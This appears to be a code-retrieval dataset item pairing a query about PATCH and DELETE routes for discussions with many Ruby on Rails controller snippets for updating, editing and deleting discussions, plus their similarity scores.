"def update\n respond_to do |format|\n if @discussion.editable? && @discussion.update(discussion_params)\n format.html { redirect_to [@project, @discussion], notice: 'Discussion was successfully updated.' }\n else\n format.html { render :edit }\n end\n end\n end",
"def update\n respond_to do |format|\n if @discussion.update(discussion_params)\n format.html { redirect_to lecture_issue_discussion_path(discussion_id: @discussion.id), notice: 'Discussion was successfully updated.' }\n format.json { render :show, status: :ok, location: @discussion }\n else\n format.html { render :edit }\n format.json { render json: @discussion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @discussion.update(discussion_params)\n format.html { redirect_to @discussion, notice: 'Discussion was successfully updated.' }\n format.json { render :show, status: :ok, location: @discussion }\n else\n format.html { render :edit }\n format.json { render json: @discussion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @discussion.update(discussion_params)\n format.html { redirect_to @discussion, notice: 'Discussion was successfully updated.' }\n format.json { render :show, status: :ok, location: @discussion }\n else\n format.html { render :edit }\n format.json { render json: @discussion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @discussion.update(discussion_params)\n format.html { redirect_to @discussion, notice: 'Discussion was successfully updated.' }\n format.json { render :show, status: :ok, location: @discussion }\n else\n format.html { render :edit }\n format.json { render json: @discussion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @discussion = Discussion.find(params[:id])\n\n respond_to do |format|\n if @discussion.update_attributes(params[:discussion])\n format.html { redirect_to(@discussion, :notice => 'Discussion was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @discussion.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @discussion.update(discussion_params)\n format.html { redirect_to [@course, @discussion], notice: 'Discussion was successfully updated.' }\n format.json { render :show, status: :ok, location: @discussion }\n else\n format.html { render :edit }\n format.json { render json: @discussion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @discussion = Discussion.find(params[:id])\n\n respond_to do |format|\n if @discussion.update_attributes(params[:discussion])\n flash[:notice] = 'Discussion was successfully updated.'\n format.html { redirect_to(@discussion) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @discussion.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @discussion = Discussion.includes(:user).find(params[:id])\n\n unless current_user == @discussion.user or current_user.admin?\n redirect_to discussions_path and return\n end\n\n respond_to do |format|\n if @discussion.update_attributes(params[:discussion])\n log_update @discussion\n\n format.html { redirect_to @discussion, flash: { success: 'Discussion had been updated.' } }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @discussion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @discussion = Discussion.find(params[:id])\n\n respond_to do |format|\n if @discussion.update_attributes(params[:discussion])\n format.html { redirect_to :back, notice: 'Reply added.' }\n format.json { head :no_content }\n else\n format.html { redirect_to :back, notice: @discussion.errors.first[1] }\n #format.html { redirect_to @discussion, notice: @discussion.errors.first[1] }\n format.json { render json: @discussion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @board = Board.friendly.find(params[:board_id])\n respond_to do |format|\n if @discussion.update(discussion_params)\n format.html { redirect_to board_discussion_path(@board, @discussion), notice: 'Discussion was successfully updated.' }\n else\n format.html { render action: 'edit' }\n end\n end\n end",
"def set_discussion\n @discussion = Discussion.find(params[:id])\n end",
"def set_discussion\n @discussion = Discussion.find(params[:id])\n end",
"def update\n @discuss = Discuss.find(params[:id])\n\n respond_to do |format|\n if @discuss.update_attributes(params[:discuss])\n format.html { redirect_to @discuss, notice: 'Discuss was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @discuss.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n # Only allow the update if the owner of the discussion is the current user\n if @discussion.owner.id != current_user.id\n not_found\n end\n\n respond_to do |format|\n if @discussion.update(discussion_params)\n format.html { redirect_to @discussion, notice: 'Discussion was successfully updated.' }\n else\n format.html { render :edit }\n end\n end\n end",
"def update\n respond_to do |format|\n if @discuss.update(discuss_params)\n format.html { redirect_to @discuss, notice: 'Discuss was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @discuss.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_discussion\n @discussion = @issue.discussions.find(params[:discussion_id])\n end",
"def edit_discussion(params, userid)\n db = connect()\n disk = db.execute('SELECT * FROM discussions WHERE Id=? AND UserId=?', params[\"id\"], userid)\n if disk != []\n return disk.first\n else\n return false\n end\n end",
"def set_discussion\n @discussion = Discussion.find(params[:id])\n end",
"def set_discussion\n @discussion = Discussion.find(params[:id])\n end",
"def set_discussion\n @discussion = Discussion.find(params[:id])\n end",
"def set_discussion\n @discussion = Discussion.find(params[:id])\n end",
"def set_discussion\n @discussion = Discussion.find(params[:id])\n end",
"def set_discussion\n @discussion = Discussion.find(params[:id])\n end",
"def set_discussion\n @discussion = Discussion.find(params[:id])\n end",
"def set_discussion\n @discussion = Discussion.find(params[:id])\n end",
"def update\n @discussion = Discussion.find(params[:id])\n if @discussion.update_attributes(params[:discussion])\n head :ok\n else\n render :xml => @discussion.errors.to_xml\n end\n end",
"def update\n @discussion_post = DiscussionPost.find(params[:id])\n\n respond_to do |format|\n if @discussion_post.update_attributes(params[:discussion_post])\n query_hash = {:web => @discussion_post.web}\n format.html { redirect_to discussion_posts_url(query_hash), :notice => 'DiscussionPost was successfully updated.' }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @discussion_post.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @discussion_comment.update(discussion_comment_params)\n format.html { redirect_to @discussion_comment, notice: 'DiscussionComment was successfully updated.' }\n format.json { render json: @discussion_comment }\n else\n format.html { render :edit }\n format.json { render json: @discussion_comment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @discussion = Discussion.find(params[:id])\n\n respond_to do |format|\n\t\t\tif @discussion.user_id == self.current_user.id || self.current_user.is_admin\n\n\t\t\t\tif @discussion.update_attributes(params[:discussion])\n\n\t\t\t\t\t@discussion.discussion_tags.destroy_all\n\n\t\t\t\t\tif params[:skills]\n\t\t\t\t\t\tparams[:skills].uniq.each do |skill_id|\n\t\t\t\t\t\t\tDiscussionTag.create(:discussion => @discussion, :skill_id => skill_id)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\n\t\t\t\t\tformat.html { redirect_to @discussion, notice: 'Discussion was successfully updated.' }\n\t\t\t\t\tformat.json { head :ok }\n\t\t\t\telse\n\t\t\t\t\tformat.html { render action: \"edit\" }\n\t\t\t\t\tformat.json { render json: @discussion.errors, status: :unprocessable_entity }\n\t\t\t\tend\n\t\t\telse\n\t\t\t\t\tformat.html { redirect_to @discussion }\n\t\t\tend\n end\n end",
"def edit\n @announcement = Announcement.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @mdl_forum_discussion.update(mdl_forum_discussion_params)\n format.html { redirect_to @mdl_forum_discussion, notice: 'Mdl forum discussion was successfully updated.' }\n format.json { render :show, status: :ok, location: @mdl_forum_discussion }\n else\n format.html { render :edit }\n format.json { render json: @mdl_forum_discussion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def edit_comment\n verify_ajax_request\n verify_post_request\n require_parameters :key, :text\n\n text = Api::Utils.read_post_request_param(params[:text])\n comment = Internal.issues.editComment(params[:key], text)\n\n @issue_results = Api.issues.find(comment.issueKey)\n render :partial => 'issue/issue', :locals => {:issue => @issue_results.issues.get(0)}\n end",
"def set_discussion\n @discussion = Discussion.includes(:posts, :likes).find(params[:id])\n end",
"def update\n @discussion_topic = Boards::Topics::DiscussionTopic.find(params[:id])\n\n respond_to do |format|\n if @discussion_topic.update_attributes(params[:discussion_topic])\n flash[:notice] = 'Boards::Topics::DiscussionTopic was successfully updated.'\n format.html { redirect_to(@discussion_topic) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @discussion_topic.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @discussiom.update(discussiom_params)\n format.html { redirect_to @discussiom, notice: 'Discussiom was successfully updated.' }\n format.json { render :show, status: :ok, location: @discussiom }\n else\n format.html { render :edit }\n format.json { render json: @discussiom.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @discussion = Discussion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @discussion }\n end\n end",
"def new\n @discussion = Discussion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @discussion }\n end\n end",
"def new\n @discussion = Discussion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @discussion }\n end\n end",
"def update\n @board = Board.find_by_short_form(params[:id])\n\n respond_to do |format|\n if @board.update_attributes(params[:board])\n format.html { redirect_to @board, notice: 'Discussion created.' }\n format.json { head :no_content }\n else\n format.html { redirect_to @board, notice: 'Failed to create new discussion.' }\n format.json { render json: @board.errors, status: :unprocessable_entity }\n end\n end\n end",
"def discussion_params\n params.require(:discussion).permit(:name, :description, :issue_id, :user_id)\n end",
"def update\n respond_to do |format|\n if @answer.editable? && @answer.update(answer_params)\n format.html { redirect_to [@project, @discussion], notice: 'Answer was successfully updated.' }\n else\n format.html { render :edit }\n end\n end\n end",
"def edit\n # find the story based on the url\n @story = Story.find(params[:id])\n end",
"def show\n @discussion = Discussion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @discussion }\n end\n end",
"def edit\n respond_with @comment\n end",
"def edit\n respond_with(@exercise)\n end",
"def edit\n @comment = Comment.find(params[:id])\n respond_to do |format|\n format.html { render action: \"new\", layout: false }\n format.json { render json: @comment }\n end\n end",
"def show\n @discussion = Discussion.find(params[:id])\n @posts = @discussion.posts\n\n # Reply form\n @post = Post.new(discussion: @discussion)\n @submit_label = 'Reply'\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @discussion }\n end\n rescue ActiveRecord::RecordNotFound\n redirect_to action: 'index', notice: 'Invalid discussion.'\n end",
"def discussions(**params)\n client.model(:get, \"/live/#{read_attribute(:id)}/discussions\", params)\n end",
"def discussion_params\n params.require(:discussion).permit(:title, :body, :user_id)\n end",
"def edit\n @post = Post.find(params[:post_id])\n @comment = Comment.find(params[:id])\n end",
"def set_discussion_comment\n @discussion_comment = DiscussionComment.find(params[:id])\n end",
"def new\n @discussion = Discussion.new\n render :new\n end",
"def discussion_params\n params.require(:discussion).permit(:name, :description)\n end",
"def edit\n @note = Note.find(params[:id])\n end",
"def edit\n @question = Question.find(params[:id])\n end",
"def edit\n @question = Question.find(params[:id])\n end",
"def edit\n\t\traise NotImplementedError, \"FIXME: Implement editing comments.\"\n\t\t#respond_to do |format|\n\t\t#\tformat.html # edit.html.erb\n\t\t#end\n\tend",
"def discussion_params\n params.require(:discussion).permit(:id, :user_id, :category_id, comments_attributes: [:body, :discussion_id, :user_id])\n end",
"def edit \n\n\t# @story = Story.find(params[:id])\n\n\nend",
"def read\n @admin_discussion = AdminDiscussion.find(params[:id])\n @admin_discussion.read_by!(current_user)\n @admin_discussion.discussionable.read_by!(current_user)\n render :nothing => true\n end",
"def create\n @discussion = @issue.discussions.build(discussion_params)\n\n respond_to do |format|\n if @discussion.save\n format.html { redirect_to lecture_issue_discussion_path(discussion_id: @discussion.id), notice: 'Discussion was successfully created.' }\n format.json { render :show, status: :created, location: @discussion }\n else\n format.html { render :new }\n format.json { render json: @discussion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def edit\n @announcement = Announcement.find(params[:id])\n @title = 'Edit ' + @announcement.title\n end",
"def edit\n\t\t# check if assessment id is provided\n\t\tif params[:assessment_id]\n\t\t\t@submission.assessment_id = params[:assessment_id]\n\t\t# or submission is provided\n\t\telsif params[:submission]\n\t\t\t@submission.assessment_id = params[:submission][:assessment_id]\n\t\tend\n\t\t# if an id has been aquiered\n\t\tif @submission.assessment_id\n\t\t\t@assessment = Assessment.find(@submission.assessment_id)\n\t\t\t# if the assessment exists\n\t\t\tif @assessment\n\t\t\t\tuser = User.find(@assessment.user_id)\n\t\t\t\t@creator = user.Fname + \" \" + user.Lname\n\t\t\tend\n\t\t\t@questions = Question.where(assessment_id: @submission.assessment_id).order(:id)\n\t\tend\n end",
"def index\n @discussions = @issue.discussions.all\n end",
"def update\n respond_to do |format|\n if @topic_comment.update(topic_comment_params)\n format.html { redirect_to @topic_comment, notice: 'Topic comment was successfully updated.' }\n format.json { render :show, status: :ok, location: @topic_comment }\n else\n format.html { render :edit }\n format.json { render json: @topic_comment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def edit\n @story = Story.find(params[:id])\n end",
"def edit\n\t\t@post = Post.find(params[:id])\n\t\trespond_to do |format|\n\t\t\tformat.html\n\t\t\tformat.json {render json: @post}\n\t\tend\n\tend",
"def destroy\n respond_to do |format|\n if @discussion.editable?\n @discussion.destroy\n format.html { redirect_to project_discussions_url(@project), notice: 'Discussion was successfully destroyed.' }\n else\n format.html { redirect_to project_discussions_url(@project), alert: \"You can't delete that discussion.\" }\n end\n end\n end",
"def discussion_params\n params.require(:discussion).permit(:body)\n end",
"def edit\n @bug = Bug.find(params[:id])\n end",
"def edit\n\t\t# @story = Story.find(params[:id])\n\t\t\n\tend",
"def discussion_params\n params.require(:discussion).permit(:title, :user_id)\n end",
"def new\n @discuss = Discuss.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @discuss }\n end\n end",
"def update\n @issue = Issue.find(params[:id])\n @feedback = Feedback.find(params[:issue][:feedback_id])\n\n respond_to do |format|\n if @issue.update_attributes(params[:issue])\n format.html { redirect_to feedback_issue_path(@feedback.id), notice: 'Issue was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @issue.errors, status: :unprocessable_entity }\n end\n end\n end",
"def edit_discussion_group\n if request.post?\n @discussion_group = DiscussionGroup.find(params[:disc_group][:id])\n @notice = @discussion_group.update_attributes(:name => params[:discussion_group][:name], :description => params[:discussion_group][:description], :is_public => params[:discussion_group][:is_public]) ? \"Group updated successfully.\" : activerecord_error_list(@discussion_group.errors)\n #redirect_to :back\n respond_to do |format|\n format.js\n end\n else\n @discussion_group = DiscussionGroup.find(params[:id])\n render :partial => \"edit_discussion_group\"\n end\n end",
"def show\n @discussion = Discussion.find(params[:id])\n render :show\n end",
"def show\n @discussion = Discussion.find_by(id: params[:id])\n @comment = Comment.new\n end",
"def update\n respond_to do |format|\n if @discussion.update(discussion_params)\n unless @discussion.teaching_id\n\t format.html { redirect_to edit_discussion_path(@discussion), notice: \"第三步,选择教法\"}\n else\n @discussion.is_ready = true\n @discussion.save\n format.html { redirect_to @discussion, notice: '课堂准备就绪' }\n format.json { render :show, status: :ok, location: @discussion }\n end\n else\n format.html { render :edit }\n format.json { render json: @discussion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def edit\n # return an HTML form for editing a specific message\n end",
"def discussion_params\n params.require(:discussion).permit(:header, :body, :discussion_type_id, :topic_id)\n end",
"def update\n @comment = Comment.find(params[:id])\n @comment.user_id = params[:user_id]\n @comment.announcement_id = params[:announcement_id]\n @comment.description = params[:description]\n @comment.save\n render json:@comment\n end",
"def edit\n\n\t\t# @story = Story.find(params[:id])\n\n\t# actually update the database \n\n\tend",
"def discussion_params\n params.require(:discussion).permit(:title, :content, :channel_id)\n end",
"def edit\n @comment = Comment.find(params[:id])\n end",
"def edit\n @comment = Comment.find(params[:id])\n end",
"def update\n @answer = Answer.find(params[:id])\n\n respond_to do |format|\n if @answer.update_attributes(params[:comment])\n format.html { redirect_to @answer }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @snippet = Snippet.find(params[:id])\n\n respond_to do |format|\n if @snippet.update_attributes(params[:snippet])\n format.html { redirect_to @snippet, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render layout: 'form', action: \"edit\" }\n format.json { render json: @snippet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def edit\n\t\t#@story = Story.find(params[:id])\n\tend",
"def update\n respond_to do |format|\n if @editorial.update(editorial_params)\n format.html { redirect_to @editorial, notice: 'Article was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @editorial.errors, status: :unprocessable_entity }\n end\n end\n end",
"def edit\n @answer = Answer.find_by_uuid(params[:id])\n if !@answer.pending?\n redirect_to(answer_path(@answer.uuid), notice: 'You have already answered this question.') and return\n end\n\n @question = @answer.question\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @answer }\n end\n end",
"def edit\n @conversation = Conversation.find(params[:id])\n end",
"def discussion_params\n params.require(:discussion).permit(:subject, :content, :project_id, :priority_id, :author_id)\n end",
"def edit\n # @post = Post.find(params[:id])\n end",
"def update\n @faq = Faq.find(params[:id])\n\n respond_to do |format|\n if @faq.update_attributes(params[:faq])\n format.html { redirect_to @faq, notice: 'FAQ atualizada com sucesso.' }\n format.json { head :no_content }\n else\n @subjects = Subject.all\n format.html { render action: \"edit\" }\n format.json { render json: @faq.errors, status: :unprocessable_entity }\n end\n end\n end",
"def edit\n @article = Article.find params[:id]\n end",
"def edit\n slug = params[:help]['slug']\n @help = Help.find_by_slug(slug) ||\n Help.new(:slug => slug)\n @help.title = params[:help]['title']\n @help.content = params[:help]['content']\n respond_to do |format|\n if CMS_CONFIG[\"ALLOW_HELP_EDIT\"] && @help.save\n format.json do\n flash[:notice] = \"Help was saved successfully.\"\n render :json => @help\n end\n else\n format.json do\n render :json => {:error => \"could not save\"}\n end\n end\n end\n end",
"def edit_comment_form\n verify_ajax_request\n require_parameters :id\n\n @comment = Internal.issues.findComment(params[:id])\n\n render :partial => 'issue/edit_comment_form'\n end",
"def update\n respond_to do |format|\n if issue.save\n format.html { redirect_to issue, notice: 'Issue was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: issue.errors, status: :unprocessable_entity }\n end\n end\n end",
"def edit\r\n @post = Post.find(params[:id])\r\n end"
] |
[
"0.74226654",
"0.73993945",
"0.73835903",
"0.72817284",
"0.72817284",
"0.72817284",
"0.7136127",
"0.7121069",
"0.7017703",
"0.7002519",
"0.696721",
"0.6902926",
"0.6845264",
"0.6845264",
"0.68330467",
"0.68316424",
"0.6826424",
"0.6790943",
"0.67702574",
"0.6750189",
"0.6750189",
"0.6750189",
"0.6750189",
"0.6750189",
"0.6750189",
"0.6750189",
"0.6750189",
"0.672321",
"0.67199326",
"0.669504",
"0.6584231",
"0.6501628",
"0.6465104",
"0.6422183",
"0.63886327",
"0.63776094",
"0.6374453",
"0.6347137",
"0.6347137",
"0.6347137",
"0.6318655",
"0.6312218",
"0.62824255",
"0.6262751",
"0.6241226",
"0.6237038",
"0.61839306",
"0.61758906",
"0.61715657",
"0.6160539",
"0.61321586",
"0.6122213",
"0.6121783",
"0.61090404",
"0.6081375",
"0.6076704",
"0.60739535",
"0.60739535",
"0.6073602",
"0.60573256",
"0.6038147",
"0.6034567",
"0.60328877",
"0.60292065",
"0.602857",
"0.6020409",
"0.60168606",
"0.6014651",
"0.60121393",
"0.60062027",
"0.60049844",
"0.59635335",
"0.59610546",
"0.5949083",
"0.59424806",
"0.5936725",
"0.59354043",
"0.593505",
"0.59298825",
"0.59293085",
"0.59252816",
"0.5923584",
"0.5921936",
"0.5921849",
"0.59186596",
"0.5917395",
"0.5917395",
"0.5916516",
"0.5901282",
"0.589847",
"0.5889381",
"0.58798516",
"0.5877959",
"0.58746314",
"0.5874329",
"0.58716464",
"0.586961",
"0.5867812",
"0.5853639",
"0.58532196",
"0.5841858"
] |
0.0
|
-1
|
PATCH/PUT /discussions/1 PATCH/PUT /discussions/1.json DELETE /discussions/1 DELETE /discussions/1.json
|
def destroy
@discussion.destroy
flash[:success] = "Discussion was successfully deleted."
redirect_to discussions_path
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @discussion = Discussion.find(params[:id])\n @discussion.destroy\n\n respond_to do |format|\n format.html { redirect_to discussions_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @discussion.destroy\n respond_to do |format|\n format.html { redirect_to lecture_issue_discussions_url, notice: 'Discussion was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @discussion = Discussion.find(params[:id])\n @discussion.destroy\n head :ok\n end",
"def destroy\n @discussion.destroy\n respond_to do |format|\n format.html { redirect_to discussions_url, notice: 'Discussion was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @discussion.destroy\n respond_to do |format|\n format.html { redirect_to discussions_url, notice: 'Discussion was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @discussion.destroy\n respond_to do |format|\n format.html { redirect_to discussions_url, notice: 'Discussion was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @discussion.destroy\n respond_to do |format|\n format.html { redirect_to discussions_url, notice: 'Discussion was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @discussion = Discussion.find(params[:id])\n @discussion.destroy\n\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end",
"def destroy\n respond_to do |format|\n if @discussion.editable?\n @discussion.destroy\n format.html { redirect_to project_discussions_url(@project), notice: 'Discussion was successfully destroyed.' }\n else\n format.html { redirect_to project_discussions_url(@project), alert: \"You can't delete that discussion.\" }\n end\n end\n end",
"def destroy\n @discussion.destroy\n respond_to do |format|\n format.html { redirect_to @course, notice: 'Discussion was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @discussion = Discussion.includes(:user).find(params[:id])\n\n unless current_user == @discussion.user or current_user.admin?\n redirect_to discussions_path and return\n end\n\n @discussion.comments.each do |c|\n c.destroy\n log_destroy c\n end\n\n @discussion.destroy\n log_destroy @discussion\n\n respond_to do |format|\n format.html { redirect_to discussions_url, flash: { success: \"Discussion had been destroyed.\" } }\n format.json { head :no_content }\n end\n end",
"def destroy\n @discussion = Discussion.find(params[:id])\n\n\t\t#Only people who administrate the site can delete the\n\t\t#entire discussions and all contents in it\n\t\t#\n\t\tif self.current_user.is_admin\n\t\t\t@discussion.comment_threads.destroy_all\n\t\t\t@discussion.destroy\n\t\tend\n\n respond_to do |format|\n format.html { redirect_to discussions_url }\n format.json { head :ok }\n end\n end",
"def update\n respond_to do |format|\n if @discussion.update(discussion_params)\n format.html { redirect_to lecture_issue_discussion_path(discussion_id: @discussion.id), notice: 'Discussion was successfully updated.' }\n format.json { render :show, status: :ok, location: @discussion }\n else\n format.html { render :edit }\n format.json { render json: @discussion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @discussion.update(discussion_params)\n format.html { redirect_to @discussion, notice: 'Discussion was successfully updated.' }\n format.json { render :show, status: :ok, location: @discussion }\n else\n format.html { render :edit }\n format.json { render json: @discussion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @discussion.update(discussion_params)\n format.html { redirect_to @discussion, notice: 'Discussion was successfully updated.' }\n format.json { render :show, status: :ok, location: @discussion }\n else\n format.html { render :edit }\n format.json { render json: @discussion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @discussion.update(discussion_params)\n format.html { redirect_to @discussion, notice: 'Discussion was successfully updated.' }\n format.json { render :show, status: :ok, location: @discussion }\n else\n format.html { render :edit }\n format.json { render json: @discussion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @discussion = Discussion.find(params[:id])\n @discussion.destroy\n\n respond_to do |format|\n format.html { redirect_to(discussions_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @project = Project.find(params[:project_id])\n @discussion = @project.discussions.find(params[:id])\n @discussion.destroy\n\n respond_to do |format|\n format.html { redirect_to(project_discussions_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @discussion_comment.destroy\n respond_to do |format|\n format.html { redirect_to discussion_comments_url, notice: 'DiscussionComment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def update\n @discussion = Discussion.find(params[:id])\n\n respond_to do |format|\n if @discussion.update_attributes(params[:discussion])\n format.html { redirect_to @discussion, notice: 'Discussion was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @discussion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @discussion.update(discussion_params)\n format.html { redirect_to [@course, @discussion], notice: 'Discussion was successfully updated.' }\n format.json { render :show, status: :ok, location: @discussion }\n else\n format.html { render :edit }\n format.json { render json: @discussion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @discussion = Discussion.find(params[:id])\n\n respond_to do |format|\n if @discussion.update_attributes(params[:discussion])\n format.html { redirect_to :back, notice: 'Reply added.' }\n format.json { head :no_content }\n else\n format.html { redirect_to :back, notice: @discussion.errors.first[1] }\n #format.html { redirect_to @discussion, notice: @discussion.errors.first[1] }\n format.json { render json: @discussion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @discussion = Discussion.find(params[:id])\n\n respond_to do |format|\n\t\t\tif @discussion.user_id == self.current_user.id || self.current_user.is_admin\n\n\t\t\t\tif @discussion.update_attributes(params[:discussion])\n\n\t\t\t\t\t@discussion.discussion_tags.destroy_all\n\n\t\t\t\t\tif params[:skills]\n\t\t\t\t\t\tparams[:skills].uniq.each do |skill_id|\n\t\t\t\t\t\t\tDiscussionTag.create(:discussion => @discussion, :skill_id => skill_id)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\n\t\t\t\t\tformat.html { redirect_to @discussion, notice: 'Discussion was successfully updated.' }\n\t\t\t\t\tformat.json { head :ok }\n\t\t\t\telse\n\t\t\t\t\tformat.html { render action: \"edit\" }\n\t\t\t\t\tformat.json { render json: @discussion.errors, status: :unprocessable_entity }\n\t\t\t\tend\n\t\t\telse\n\t\t\t\t\tformat.html { redirect_to @discussion }\n\t\t\tend\n end\n end",
"def destroy\n # Only allow the destroy if the owner of the discussion is the current user\n if @discussion.owner.id != current_user.id\n not_found\n end\n\n @discussion.destroy\n respond_to do |format|\n format.html { redirect_to discussions_url, notice: 'Discussion was successfully destroyed.' }\n end\n end",
"def destroy\n @discuss.destroy\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end",
"def destroy\n @discussion_post = DiscussionPost.find(params[:id])\n @discussion_post.destroy\n\n respond_to do |format|\n format.html { redirect_to(discussion_posts_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @board = Board.friendly.find(params[:board_id])\n @discussion.destroy\n respond_to do |format|\n format.html { redirect_to @board }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mdl_forum_discussion.destroy\n respond_to do |format|\n format.html { redirect_to mdl_forum_discussions_url, notice: 'Mdl forum discussion was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @discussiom.destroy\n respond_to do |format|\n format.html { redirect_to discussioms_url, notice: 'Discussiom was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @discussion_topic = Boards::Topics::DiscussionTopic.find(params[:id])\n @discussion_topic.destroy\n\n respond_to do |format|\n format.html { redirect_to(boards/topics_discussion_topics_url) }\n format.xml { head :ok }\n end\n end",
"def update\n @discussion = Discussion.find(params[:id])\n\n respond_to do |format|\n if @discussion.update_attributes(params[:discussion])\n format.html { redirect_to(@discussion, :notice => 'Discussion was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @discussion.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @discussion_comment.update(discussion_comment_params)\n format.html { redirect_to @discussion_comment, notice: 'DiscussionComment was successfully updated.' }\n format.json { render json: @discussion_comment }\n else\n format.html { render :edit }\n format.json { render json: @discussion_comment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @discussion = Discussion.includes(:user).find(params[:id])\n\n unless current_user == @discussion.user or current_user.admin?\n redirect_to discussions_path and return\n end\n\n respond_to do |format|\n if @discussion.update_attributes(params[:discussion])\n log_update @discussion\n\n format.html { redirect_to @discussion, flash: { success: 'Discussion had been updated.' } }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @discussion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @discussion = Discussion.find(params[:id])\n if @discussion.update_attributes(params[:discussion])\n head :ok\n else\n render :xml => @discussion.errors.to_xml\n end\n end",
"def destroy\n @patch.destroy\n respond_to do |format|\n format.html { redirect_to patches_url }\n format.json { head :no_content }\n end\n end",
"def update\n # Only allow the update if the owner of the discussion is the current user\n if @discussion.owner.id != current_user.id\n not_found\n end\n\n respond_to do |format|\n if @discussion.update(discussion_params)\n format.html { redirect_to @discussion, notice: 'Discussion was successfully updated.' }\n else\n format.html { render :edit }\n end\n end\n end",
"def update\n respond_to do |format|\n if @discussion.editable? && @discussion.update(discussion_params)\n format.html { redirect_to [@project, @discussion], notice: 'Discussion was successfully updated.' }\n else\n format.html { render :edit }\n end\n end\n end",
"def set_discussion\n @discussion = Discussion.find(params[:id])\n end",
"def set_discussion\n @discussion = Discussion.find(params[:id])\n end",
"def destroy\n @discipline.topics.delete_all\n @discipline.destroy\n\n respond_to do |format|\n format.html { redirect_to disciplines_url, notice: 'Discipline was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
